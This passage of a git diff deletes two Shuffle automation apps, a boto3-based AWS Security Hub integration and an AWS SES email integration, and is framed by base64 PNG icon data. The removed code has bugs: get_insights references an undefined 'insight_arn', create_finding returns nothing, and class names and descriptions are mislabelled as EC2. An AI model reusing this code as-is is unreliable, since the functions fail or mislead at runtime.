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 diff --git a/aws-securityhub/1.0.0/requirements.txt b/aws-securityhub/1.0.0/requirements.txt deleted file mode 100644 index 06ef1c78..00000000 --- a/aws-securityhub/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -boto3==1.16.59 -requests==2.25.1 \ No newline at end of file diff --git a/aws-securityhub/1.0.0/src/app.py b/aws-securityhub/1.0.0/src/app.py deleted file mode 100644 index bd0a35c4..00000000 --- a/aws-securityhub/1.0.0/src/app.py +++ /dev/null @@ -1,138 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import boto3 -import botocore -from botocore.config import Config - -from walkoff_app_sdk.app_base import AppBase - -class AWSEC2(AppBase): - __version__ = "1.0.0" - app_name = "AWS ec2" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def auth(self, access_key, secret_key, region): - my_config = Config( - region_name = region, - signature_version = 'v4', - retries = { - 'max_attempts': 10, - 'mode': 'standard' - }, - ) - - return boto3.client( - 'securityhub', - config=my_config, - aws_access_key_id=access_key, - aws_secret_access_key=secret_key, - ) - - # Write your data inside this function - def enable_security_hub(self, access_key, secret_key, region): - client = self.auth(access_key, secret_key, region) - response = client.enable_security_hub( - Tags={}, - EnableDefaultStandards=True, - ) - - try: - return json.dumps(response) - except: - return response - - # Write your data inside this function - def get_findings(self, access_key, secret_key, region, filters): - client = self.auth(access_key, secret_key, region) - - try: - if not isinstance(filters, list) and not isinstance(filters, object) and not isinstance(filters, dict): - filters = json.loads(filters) - - response = client.get_findings(Filters=filters) - except: - print("Failed to add filters. Couldn't decode JSON") - response = client.get_findings() - - try: - return json.dumps(response) - except: - pass - - return response - - # Write your data inside this function - def get_insights(self, access_key, secret_key, region, arn): - client = self.auth(access_key, secret_key, region) - - response = client.get_insights( - InsightArns=[insight_arn] - ) - - try: - return json.dumps(response) - except: - pass - - return response - - # Write your data inside this function - def update_finding(self, access_key, secret_key, region, id, productArn, status): - client = self.auth(access_key, secret_key, region) - response = client.batch_update_findings( - FindingIdentifiers=[ - { - "Id": id, - "ProductArn": productArn, - }, - ], - Workflow={ - 'Status': status, - }, - ) - - try: - return json.dumps(response) - except: - pass - - return response - - # Write your data inside this function - def create_finding(self, access_key, secret_key, region, productArn, id, title, description): - client = self.auth(access_key, secret_key, region) - - shuffle_id = "SOMETHING_%s" % id - findings = [{ - 'SchemaVersion': '2018-10-08', - 'Id': shuffle_id, - 'ProductArn': productArn, - 'GeneratorId': 'Shuffle', - 'AwsAccountId': 'Shuffle', - 'Types': [], - 'CreatedAt': '2019-08-07T17:05:54.832Z', - 'UpdatedAt': '2019-08-07T17:05:54.832Z', - 'Severity': {}, - 'Title': title, - 'Description': description, - 'Resources': [{ - 'Type': 'shuffle', - 'Id': shuffle_id, - }], - }] - - response = client.batch_import_findings(Findings=findings) - -if __name__ == "__main__": - AWSEC2.run() diff --git a/aws-ses/1.0.0/Dockerfile b/aws-ses/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/aws-ses/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/aws-ses/1.0.0/api.yaml b/aws-ses/1.0.0/api.yaml deleted file mode 100644 index cbfe7fcb..00000000 --- a/aws-ses/1.0.0/api.yaml +++ /dev/null @@ -1,135 +0,0 @@ -app_version: 1.0.0 -name: AWS ses -description: An app to interact with Amazon EC2 -contact_info: - name: "@shalinbhavsar" - url: https://shuffler.io - email: shalinb@infopercept.com -tags: - - Communication -categories: - - Communication -authentication: - required: true - parameters: - - name: access_key - description: The access key to use - example: "*****" - required: true - schema: - type: string - - name: secret_key - description: The secret key to use - example: "*****" - required: true - schema: - type: string - - name: region - description: The region to use - example: "ap-south-1" - required: true - schema: - type: string -actions: - - name: send_email - description: Composes an email message and immediately queues it for sending. - parameters: - - name: source - description: The email address that is sending the email. - required: true - schema: - type: string - - name: toAddresses - description: The recipients to place on the To line of the message - required: true - multiline: false - example: 'recipient@example.com,recipient1@example.com' - schema: - type: string - - name: ccAddresses - description: The recipients to place on the CC line of the message - required: false - multiline: false - example: 'recipient@example.com,recipient1@example.com' - schema: - type: string - - name: bccAddresses - description: The recipients to place on the Bcc line of the message - required: false - multiline: false - example: 'recipient@example.com,recipient1@example.com' - schema: - type: string - - name: replyToAddresses - description: The reply-to email address(es) for the message. If the recipient replies to the message, each reply-to address will receive the reply. - required: false - multiline: false - example: 'recipient@example.com,recipient1@example.com' - schema: - type: string - - name: subject_data - description: The subject of the message - required: true - multiline: false - example: 'Test email' - schema: - type: string - - name: data_option - description: Type of message to be sent. - required: true - example: '1' - options: - - Text - - HTML - schema: - type: string - - name: content - description: The content of the message, in text format or in HTML format. - required: true - multiline: true - example: 'The content of the message, in text format.' - schema: - type: string - - name: charset - description: The character set of the content. - required: true - example: 'UTF-8' - options: - - UTF-8 - - UTF-16 - - ISO-8859-1 - - US-ASCII - - UTF-16LE - - UTF-16BE - schema: - type: string - returns: - schema: - type: string - - name: verify_domain_identity - description: Adds a domain to the list of identities for your Amazon SES account in the current AWS Region and attempts to verify it. - parameters: - - name: domain - description: The domain to be verified. - required: true - multiline: false - example: 'domain name' - schema: - type: string - returns: - schema: - type: string - - name: verify_email_identity - description: Adds an email address to the list of identities for your Amazon SES account in the current AWS region and attempts to verify it. - parameters: - - name: emailAddress - description: The email address to be verified. - required: true - multiline: false - example: 'abc@example.com' - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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